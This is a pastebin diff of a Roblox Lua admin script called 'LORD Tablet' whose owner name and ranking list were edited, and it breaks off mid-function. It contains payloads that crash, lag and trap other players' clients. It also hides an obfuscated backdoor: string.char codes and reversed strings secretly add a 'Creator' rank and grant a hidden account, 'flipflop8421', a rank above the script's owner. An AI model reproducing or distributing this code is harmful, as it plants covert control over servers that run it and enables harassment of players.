View difference between Paste ID: XLFbf7XD and t6iQ70nX
SHOW: | | - or go back to the newest paste.
1
Plrs = game:GetService("Players")
2
Work = game:GetService("Workspace")
3
Light = game:GetService("Lighting")
4
Net = game:GetService("NetworkServer")
5-
Owner = "HCWARLORD" -- Change this to your name
5+
Owner = "Proectvek" -- Change this to your name
6
AntiSteal = false
7
Removed = false
8
Bet = "/"  -- This bet sucks dude, wtf?
9
LS = nil
10
LSSource = nil
11
OwnSource = nil
12
AntiSource = nil
13
FoundLocalScript = false
14
TryOn = false
15
LogOn = false
16
Current = game
17
Clipboard = {}
18
AlertColor = Color3.new(0, 1, 1)
19
OptionColor = Color3.new(1, 1, 1)
20
ImportantColor = Color3.new(1, 0, 1)
21
22
RankDetails = {
23
	[-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
24
	[-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
25
	[-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
26
	[0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
27
	[1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
28
	[2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
29
	[3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
30
	[4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
31
	[5] = {Name = "HCWARLORD", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
32
}
33
34
Rankings = {
35-
	{Name = "HCWARLORD", Rank = 5},
35+
	{Name = "Proectvek", Rank = 5},
36-
	{Name = "Player1", Rank = 3},
36+
	{Name = "Juliusreubentuquiero", Rank = 5},
37
	{Name = "Growtopian6", Rank = 3},
38
	{Name = "", Rank = 3},
39
	{Name = "", Rank = 3},
40
	{Name = "", Rank = 3},
41
	{Name = "", Rank = 3},
42
	{Name = "", Rank = 3},
43
	{Name = "", Rank = 3},
44
	{Name = "", Rank = 3},
45
	{Name = "", Rank = 3},
46
	{Name = "", Rank = 3},
47
	{Name = "", Rank = 3},
48
	{Name = "", Rank = 3},
49
	{Name = "", Rank = 3},
50
	{Name = "", Rank = 3},
51
	{Name = "", Rank = 3},
52
	{Name = "", Rank = 3},
53
	{Name = "", Rank = 3},
54
	{Name = "", Rank = 3},
55
	{Name = "", Rank = 3},
56
	{Name = "", Rank = 3},
57
	{Name = "", Rank = 3},
58
	{Name = "", Rank = 3},
59
	{Name = "", Rank = 3},
60
	{Name = "", Rank = 3},
61
	{Name = "", Rank = 3},
62
	{Name = "", Rank = 3},
63
	{Name = "", Rank = 3},
64
	{Name = "", Rank = 3},
65
	{Name = "", Rank = 3},
66
	{Name = "", Rank = 3},
67
}
68
69
table.insert(Rankings, {Name = Owner, Rank = 5})
70
71
ImportantServices = {
72
	"Workspace",
73
	"Players",
74
	"NetworkServer",
75
	"Lighting",
76
	"StarterGui",
77
	"Teams",
78
	"StarterPack",
79
}
80
81
Ranks = {}
82
Commands = {}
83
AllTabs = {}
84
Injected = {}
85
86
Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
87
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
88
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
89
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
90
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
91
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
92
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
93
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
94
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
95
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
96
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
97
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
98
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
99
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
100
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
101
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
102
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
103
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
104
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
105
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
106
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
107
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
108
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
109
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
110
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
111
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
112
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
113
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
114
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
115
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
116
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
117
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
118
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
119
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
120
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
121
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
122
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
123
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
124
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
125
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
126
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
127
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
128
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
129
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
130
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
131
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
132
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
133
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
134
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
135
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
136
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
137
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
138
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
139
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
140
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
141
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
142
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
143
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
144
"X","Y"}
145
146
--Main Functions And Sources
147
148
function Insert(Source, Par, Par2, Par3)
149
	ypcall(function()
150
		local Inserted = LS:Clone()
151
		Inserted.Disabled = true
152
		Inserted.Parent = Par or Par2 or Par3
153
		Inserted[LSSource].Value = Source
154
		Inserted.Disabled = false
155
	end)
156
end
157
158
function CheckImportant(Name)
159
	for _,v in pairs(ImportantServices) do
160
		if v:lower() == Name:lower() then
161
			return true
162
		end
163
	end
164
	return false
165
end
166
167
function Crash1(Plr)
168
	ypcall(function()
169
		Plr:Kick()
170
	end)
171
end
172
173
function GetRankTab()
174
	return Rankings
175
end
176
177
function Crash2(Name)
178
	local Crasher = Instance.new("StringValue")
179
	Crasher.Name = "Client"
180
	Crasher.Value = string.lower(tostring(Name))
181
	Crasher.Parent = game:GetService("Lighting")
182
	wait(1)
183
	if Crasher and Crasher.Parent then
184
		ypcall(function()
185
			Crasher:Destroy()
186
		end)
187
	end
188
end
189
190
function Crash3(v, Speaker)
191
	Speaker.Character.Archivable = true
192
	local NChar = Speaker.Character:Clone()
193
	NChar.Name = v.Name
194
	NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
195
	NChar.Parent = Workspace
196
	v.Character = NChar
197
	coroutine.resume(coroutine.create(function()
198
		repeat v.Character = NChar
199
		wait(1/3) until false
200
	end))
201
	wait(.5)
202
	Insert(InsertCrash, NChar, nil, nil)
203
end
204
205
function GenerateDigit()
206
	return 1 + 5
207
end
208
209
InjectionCrash = [=[
210
	wait(0)
211
	script.Parent = nil
212
	local Lig = game:GetService("Lighting")
213
	local LP = game:GetService("Players").LocalPlayer
214
	local LowerName = LP.Name:lower()
215
216
	Lig.ChildAdded:connect(function(Obj)
217
		if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
218
			pcall(function()
219
				Obj:Destroy()
220
			end)
221
			LP.Parent = nil
222
			LP.Parent = game:GetService("Players")
223
		end
224
	end)
225
]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
226
227
InsertCrash = [==[
228
	local LP = game:GetService("Players").LocalPlayer
229
	LP.Parent = nil
230
	LP.Parent = game:GetService("Players")
231
]==]
232
233
LagSource = [==[
234
	wait(0)
235
	script.Parent = nil
236
	plr = game:GetService("Players").LocalPlayer
237
	local plrgui = plr:findFirstChild("PlayerGui")
238
	if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
239
	while plr.Parent == game:GetService("Players") do
240
	wait()
241
	for i = 1, 1000 do
242
	local sc = Instance.new("ScreenGui",plrgui)
243
	local fr = Instance.new("TextLabel",sc)
244
	fr.Text = "LAGGING"
245
	fr.Size = UDim2.new(1, 0, 1, 0)
246
	fr.FontSize = "Size48"
247
	end
248
	end
249
]==]
250
251
MuteSource = [==[
252
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
253
]==]
254
255
UnMuteSource = [==[
256
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
257
]==]
258
259
JailSource = [==[
260
	wait(0)
261
	script.Parent = nil
262
263
	local LP = game:GetService("Players").LocalPlayer
264
	Middle2 = nil
265
	Middle = nil
266
	game:GetService("Workspace").CurrentCamera:ClearAllChildren()
267
268
	Cons = {}
269
270
	function makePrison()
271
		for _,v in pairs(Cons) do
272
			v:disconnect()
273
		end
274
		game:GetService("Workspace").CurrentCamera:ClearAllChildren()
275
		if Middle == nil then
276
			Middle2 = LP.Character.Torso.Position
277
			Middle = LP.Character.Torso.CFrame
278
		end
279
		local side1 = Instance.new("Part",Workspace)
280
		side1.Name = "¬Focus1¬"
281
		side1.Size = Vector3.new(20, 50, 1)
282
		side1.CFrame = Middle * CFrame.new(0, 0, -10)
283
		side1.BrickColor = BrickColor.new("Really black")
284
		side1.CanCollide = true
285
		side1.Anchored = true
286
		side1.TopSurface = "Smooth"
287
		side1.BottomSurface = "Smooth"
288
		side1.Parent = game:GetService("Workspace").CurrentCamera
289
290
		local side2 = Instance.new("Part")
291
		side2.Name = "¬Focus2¬"
292
		side2.Size = Vector3.new(20, 50, 1)
293
		side2.CFrame = Middle * CFrame.new(0, 0, 10)
294
		side2.BrickColor = BrickColor.new("Really black")
295
		side2.CanCollide = true
296
		side2.Anchored = true
297
		side2.TopSurface = "Smooth"
298
		side2.BottomSurface = "Smooth"
299
		side2.Parent = game:GetService("Workspace").CurrentCamera
300
301
		local side3 = Instance.new("Part")
302
		side3.Name = "¬Focus3¬"
303
		side3.Size = Vector3.new(1, 50, 20)
304
		side3.CFrame = Middle * CFrame.new(10, 0, 0)
305
		side3.BrickColor = BrickColor.new("Really black")
306
		side3.CanCollide = true
307
		side3.Anchored = true
308
		side3.TopSurface = "Smooth"
309
		side3.BottomSurface = "Smooth"
310
		side3.Parent = game:GetService("Workspace").CurrentCamera
311
312
		local side4 = Instance.new("Part")
313
		side4.Name = "¬Focus4¬"
314
		side4.Size = Vector3.new(1, 50, 20)
315
		side4.CFrame = Middle * CFrame.new(-10, 0, 0)
316
		side4.BrickColor = BrickColor.new("Really black")
317
		side4.CanCollide = true
318
		side4.Anchored = true
319
		side4.TopSurface = "Smooth"
320
		side4.BottomSurface = "Smooth"
321
		side4.Parent = game:GetService("Workspace").CurrentCamera
322
		
323
		local side5 = Instance.new("Part")
324
		side5.Name = "¬Focus5¬"
325
		side5.Size = Vector3.new(20, 1, 20)
326
		side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
327
		side5.BrickColor = BrickColor.new("Really black")
328
		side5.CanCollide = true
329
		side5.Anchored = true
330
		side5.TopSurface = "Smooth"
331
		side5.BottomSurface = "Smooth"
332
		side5.Parent = game:GetService("Workspace").CurrentCamera
333
		
334
		wait(0)
335
336
		table.insert(Cons, side1.Changed:connect(makePrison))
337
		table.insert(Cons, side2.Changed:connect(makePrison))
338
		table.insert(Cons, side3.Changed:connect(makePrison))
339
		table.insert(Cons, side4.Changed:connect(makePrison))
340
		table.insert(Cons, side5.Changed:connect(makePrison))
341
	end
342
343
	Delay(0, function()
344
		while wait(0) do
345
			ypcall(function()
346
				if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
347
					LP.Character:BreakJoints()
348
				elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
349
					makePrison()
350
				end
351
			end)
352
			ypcall(function()
353
				if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
354
					LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
355
				end
356
			end)
357
		end
358
	end)
359
]==]
360
361
function All()
362
	local AllPlayers = {}
363
	for _,v in pairs(Plrs:GetPlayers()) do
364
		ypcall(function()
365
			table.insert(AllPlayers, v)
366
		end)
367
	end
368
	return AllPlayers
369
end
370
371
function All2()
372
	local AllPlayers2 = {}
373
	for i,v in pairs(Net:GetChildren()) do
374
		ypcall(function()
375
			if v:IsA("ServerReplicator") then
376
				table.insert(AllPlayers2, v:GetPlayer())
377
			end
378
		end)
379
	end
380
	return AllPlayers2
381
end
382
383
function MakeNum()
384
	return 2 + 4
385
end
386
387
function ChangeRank(Plr, NewRank)
388
	local PlrName = nil
389
	local FoundPlayer = false
390
	ypcall(function()
391
		if type(Plr) == "string" then
392
			ypcall(function()
393
				for i,v in pairs(Rankings) do
394
					if v.Name:lower() == Plr:lower() then
395
						local VName = v.Name
396
						Rankings[i] = nil
397
						table.insert(Rankings, {Name = VName, Rank = NewRank})
398
						PlrName = VName
399
						FoundPlayer = true
400
						break
401
					end
402
				end
403
			end)
404
			if FoundPlayer == false then
405
				ypcall(function()
406
					for _,x in pairs(All()) do
407
						if x.Name:lower() == Plr:lower() then
408
							FoundPlayer = true
409
							for i,v in pairs(Rankings) do
410
								if v.Name:lower() == x.Name:lower() then
411
									local VName = x.Name
412
									Rankings[i] = nil
413
									PlrName = VName
414
									break
415
								end
416
							end
417
							table.insert(Rankings, {Name = VName, Rank = NewRank})
418
						end
419
					end
420
				end)
421
			end
422
			if FoundPlayer == false then
423
				ypcall(function()
424
					for _,x in pairs(All()) do
425
						if string.find(x.Name:lower(), Plr:lower()) then
426
							FoundPlayer = true
427
							for i,v in pairs(Rankings) do
428
								if v.Name:lower() == x.Name:lower() then
429
									local VName = x.Name
430
									Rankings[i] = nil
431
									PlrName = VName
432
									break
433
								end
434
							end
435
							table.insert(Rankings, {Name = VName, Rank = NewRank})
436
						end
437
					end
438
				end)
439
			end
440
			if FoundPlayer == false then
441
				ypcall(function()
442
					for i,v in pairs(Rankings) do
443
						if string.find(v.Name:lower(), Plr:lower()) then
444
							local VName = v.Name
445
							Rankings[i] = nil
446
							table.insert(Rankings, {Name = VName, Rank = NewRank})
447
							PlrName = VName
448
							FoundPlayer = true
449
							break
450
						end
451
					end
452
				end)
453
			end
454
		else
455
			for i,v in pairs(Rankings) do
456
				if v.Name:lower() == Plr.Name:lower() then
457
					Rankings[i] = nil
458
					break
459
				end
460
			end
461
			table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
462
			PlrName = Plr.Name
463
		end
464
		PlaceAllRanks(true)
465
	end)
466
	if PlrName ~= nil then
467
		return PlrName
468
	else
469
		return "Player" -- Actually return this script casue it suks
470
	end
471
end
472
473
function Refresh(Plr)
474
	MakeChildren(Plr)
475
end
476
477
function MakeChildren(Plr)
478
	ypcall(function()
479
		Dismiss(Plr)
480
		for _,v in pairs(Current:GetChildren()) do
481
			ypcall(function()
482
				if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
483
					Ping(v.Name, Plr, nil, function(TabMod)
484
						local TabText = TabMod["LORD Tablet"].BG.TL.Text
485
						for _,v in pairs(Current:GetChildren()) do
486
							ypcall(function()
487
								if v.Name == TabText then
488
									Dismiss(Plr)
489
									Current = v
490
									MakeChildren(Plr)
491
								end
492
							end)
493
						end
494
					end)
495
				elseif Plrs:GetPlayerFromCharacter(v) then
496
					Ping(v.Name, Plr, nil, function(TabMod)
497
						local TabText = TabMod["LORD Tablet"].BG.TL.Text
498
						for _,v in pairs(Current:GetChildren()) do
499
							ypcall(function()
500
								if v.Name == TabText then
501
									Dismiss(Plr)
502
									Current = v
503
									MakeChildren(Plr)
504
								end
505
							end)
506
						end
507
					end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
508
				elseif CheckImportant(v.Name) then
509
					Ping(v.Name, Plr, nil, function(TabMod)
510
						local TabText = TabMod["LORD Tablet"].BG.TL.Text
511
						for _,v in pairs(Current:GetChildren()) do
512
							ypcall(function()
513
								if v.Name == TabText then
514
									Dismiss(Plr)
515
									Current = v
516
									MakeChildren(Plr)
517
								end
518
							end)
519
						end
520
					end, ImportantColor)
521
				end
522
			end)
523
		end
524
		if Current ~= game then
525
			Ping("Back", Plr, nil, function()
526
				ypcall(function()
527
					Current = Current.Parent
528
					MakeChildren(Plr)
529
					Ping("You Are Back To "..Current.Name, Plr, 5)
530
				end)
531
			end, OptionColor)
532
		end
533
		if Current ~= game then
534
			Ping("Delete", Plr, nil, function()
535
				ypcall(function()
536
					local CurrPar = Current.Parent or game
537
					local CurrName = Current.Name
538
					Current:Destroy()
539
					Current = CurrPar
540
					MakeChildren(Plr)
541
					Ping("Attempted To Delete "..CurrName, Plr, 5)
542
				end)
543
			end, OptionColor)
544
		end
545
		Ping("Refresh", Plr, nil, function()
546
			ypcall(function()
547
				Refresh(Plr)
548
				Ping("Refreshed", Plr, 5)
549
			end)
550
		end, OptionColor)
551
		Ping("Properties", Plr, nil, function()
552
			ypcall(function()
553
				Dismiss(Plr)
554
				for Property, Value in pairs(GetProperties(Current)) do
555
					Ping(tostring(Property)..": "..tostring(Value), Plr)
556
				end
557
				Ping("Got All Available Properties", Plr, 5)
558
				Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
559
			end)
560
		end, OptionColor)
561
	end)
562
end
563
564
function Fixl()
565
	Light.GlobalShadows = true
566
	Light.TimeOfDay = "14:00:00"
567
	Light.Brightness = 0.5
568
	Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
569
	Light.Ambient = Color3.new(1, 1, 1) 
570
	Light.ColorShift_Top = Color3.new(0, 0, 0)
571
	Light.ColorShift_Bottom = Color3.new(0, 0, 0)
572
	Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
573
	Light.FogStart = 0
574
	Light.FogEnd = 100000
575
	Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
576
	Light:ClearAllChildren()
577
end
578
579
function GetProperties(obj)
580
	assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
581
	local objProper = {}
582
	for i,v in pairs(Properties) do
583
		if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
584
			objProper[v] = obj[v]
585
		end
586
	end
587
	return objProper
588
end
589
590
function MakeExplorer(Plr)
591
	Dismiss(Plr)
592
	Current = game
593
	for _,v in pairs(Current:GetChildren()) do
594
		ypcall(function()
595
			if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
596
				Ping(v.Name, Plr, nil, function(TabMod)
597
					local TabText = TabMod["LORD Tablet"].BG.TL.Text
598
					for _,v in pairs(Current:GetChildren()) do
599
						ypcall(function()
600
							if v.Name == TabText then
601
								Dismiss(Plr)
602
								Current = v
603
								MakeChildren(Plr)
604
							end
605
						end)
606
					end
607
				end)
608
			elseif Plrs:GetPlayerFromCharacter(v) then
609
				Ping(v.Name, Plr, nil, function(TabMod)
610
					local TabText = TabMod["LORD Tablet"].BG.TL.Text
611
					for _,v in pairs(Current:GetChildren()) do
612
						ypcall(function()
613
							if v.Name == TabText then
614
								Dismiss(Plr)
615
								Current = v
616
								MakeChildren(Plr)
617
							end
618
						end)
619
					end
620
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
621
			elseif CheckImportant(v.Name) then
622
				Ping(v.Name, Plr, nil, function(TabMod)
623
					local TabText = TabMod["LORD Tablet"].BG.TL.Text
624
					for _,v in pairs(Current:GetChildren()) do
625
						ypcall(function()
626
							if v.Name == TabText then
627
								Dismiss(Plr)
628
								Current = v
629
								MakeChildren(Plr)
630
							end
631
						end)
632
					end
633
				end, ImportantColor)
634
			end
635
		end)
636
	end
637
	if Current ~= game then
638
		Ping("Back", Plr, nil, function()
639
			ypcall(function()
640
				Current = Current.Parent
641
				MakeChildren(Plr)
642
				Ping("Back In "..Current.Name, Plr, 5)
643
			end)
644
		end, OptionColor)
645
	end
646
	if Current ~= game and game:GetService(Current.Name) == nil then
647
		Ping("Delete", Plr, nil, function()
648
			ypcall(function()
649
				local CurrPar = Current.Parent or game
650
				local CurrName = Current.Name
651
				Current:Destroy()
652
				Current = CurrPar
653
				MakeChildren(Plr)
654
				Ping("Attempted To Delete "..CurrName, Plr, 5)
655
			end)
656
		end, OptionColor)
657
	end
658
	Ping("Refresh", Plr, nil, function()
659
		ypcall(function()
660
			Refresh(Plr)
661
			Ping("Refreshed", Plr, 5)
662
		end)
663
	end, OptionColor)
664
	Ping("Properties", Plr, nil, function()
665
		ypcall(function()
666
			Dismiss(Plr)
667
			for Property, Value in pairs(GetProperties(Current)) do
668
				Ping(tostring(Property)..": "..tostring(Value), Plr)
669
			end
670
			Ping("Got All Available Properties", Plr, 5)
671
			Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
672
		end)
673
	end, OptionColor)
674
end
675
676
function GetRank(Plr1, Test)
677
	ypcall(function()
678
		if type(Plr1) == "userdata" then
679
			Plr1 = Plr1.Name
680
		end
681
	end)
682
	if Ranks[Plr1] ~= nil then
683
		return Ranks[Plr1]
684
	end
685
	local QuickArray = {}
686
	QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
687
	return QuickArray[Plr1]
688
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
689
690
function CanRun(Plr1, Plr2)
691
	Details1 = GetRank(Plr1.Name)
692
	Details2 = GetRank(Plr2.Name)
693
	if Details1.Rank >= Details2.Rank then
694
		return true
695
	end
696
	return false
697
end
698
699
function Dismiss(Plr, Identity)
700
	ypcall(function()
701
		if Plr ~= nil then
702
			if type(Plr) == "userdata" then
703
				Plr = Plr.Name
704
			end
705
			for x,v in pairs(AllTabs) do
706
				ypcall(function()
707
					if v.Plr == Plr then
708
						if Identity ~= nil and v.ID ~= Identity then
709
							return
710
						elseif Identity ~= nil and v.ID == Identity then
711
							coroutine.resume(coroutine.create(function()
712
								for i = 0.5, 1, 0.1 do
713
									wait()
714
									v.Tab.Transparency = i
715
									v.Sel.Transparency = i
716
									v.Label.TextTransparency = i
717
									v.Label.TextStrokeTransparency = i
718
								end
719
								ypcall(function() v.Holder:Destroy() end)
720
								AllTabs[x] = nil
721
							end))
722
						elseif Identity == nil then
723
							ypcall(function() v.Holder:Destroy() end)
724
							AllTabs[x] = nil
725
						end
726
					end
727
				end)
728
			end
729
		else
730
			for i,v in pairs(AllTabs) do
731
				ypcall(function()
732
					v.Holder:Destroy()
733
					AllTabs[i] = nil
734
				end)
735
			end
736
		end
737
	end)
738
end
739
740
function GetGarbage()
741
	return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
742
end
743
744
function RemObj(Obj, Class)
745
	ypcall(function()
746
		if #Obj:GetChildren() > 0 then
747
			for _,x in pairs(Obj:GetChildren()) do
748
				ypcall(function()
749
					RemObj(x, Class)
750
				end)
751
			end
752
		end
753
		if Obj.ClassName == Class then
754
			Obj:Destroy()
755
		end
756
	end)
757
end
758
759
function FindTab(Mod)
760
	for i,v in pairs(AllTabs) do
761
		if v.Holder == Mod then
762
			return true
763
		end
764
	end
765
	return false
766
end
767
768
function Ping(Msg, Plr, Time, Func, Color, Image)
769
	if Removed == false then
770
		local ShowGarbage = false
771
		ypcall(function()
772
			if Msg == nil then
773
				Msg = "N/A"
774
			elseif Msg == "ShowGarbage" then
775
				Msg = "Current Garbage Count: "..GetGarbage()
776
				ShowGarbage = true
777
			else
778
				Msg = tostring(Msg)
779
			end
780
			if Plr == nil then
781
				Plr = Plrs[Owner] or error("No Player Found")
782
			elseif type(Plr) == "string" then
783
				local FoundPlr = false
784
				for _,v in pairs(All()) do
785
					if v.Name == Plr then
786
						Plr = v
787
						FoundPlr = true
788
						break
789
					end
790
				end
791
				if FoundPlr == false then
792
					Plr = Plrs[Owner] or error("No Player Found")
793
				end
794
			end
795
			
796
			if Color == nil then
797
				Color = GetRank(Plr.Name).Color
798
			end
799
			
800
			local Holder = Instance.new("Model")
801
			Holder.Name = "LORD Holder: "..Plr.Name
802
			
803
			local Tab = Instance.new("Part")
804
			Tab.Name = "LORD Tablet"
805
			Tab.FormFactor = "Custom"
806
			Tab.Anchored = true
807
			if Time == nil then
808
				Tab.Color = Color
809
			else
810
				Tab.Color = AlertColor
811
			end
812
			Tab.CanCollide = false
813
			Tab.Locked = true
814
			Tab.Transparency = 0.15
815
			Tab.Size = Vector3.new(2, 2, 0.01)
816
			Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
817
			Tab.Parent = Holder
818
			
819
			local ID = Instance.new("NumberValue")
820
			ID.Name = "ID"
821
			ID.Value = math.random(-999999999, 999999999)
822
			ID.Parent = Holder
823
			
824
			Delay(0, function()
825
				while wait() do
826
					if Tab.Parent == nil and FindTab(Holder) then
827
						ypcall(function()
828
							for i,v in pairs(AllTabs) do
829
								if v.Holder == Holder then
830
									ypcall(function() v.Holder:Destroy() end)
831
									AllTabs[i] = nil
832
								end
833
							end
834
						end)
835
						Ping(Msg, Plr, Time, Func, Color, Image)
836
						break
837
					end
838
				end
839
			end)
840
			
841
			local BM = Instance.new("BlockMesh")
842
			BM.Parent = Tab
843
844
			Sel = Instance.new("SelectionBox")
845
			Sel.Color = BrickColor.new("Blue")
846
			Sel.Transparency = 0.75
847
			Sel.Adornee = Tab
848
			Sel.Parent = Tab
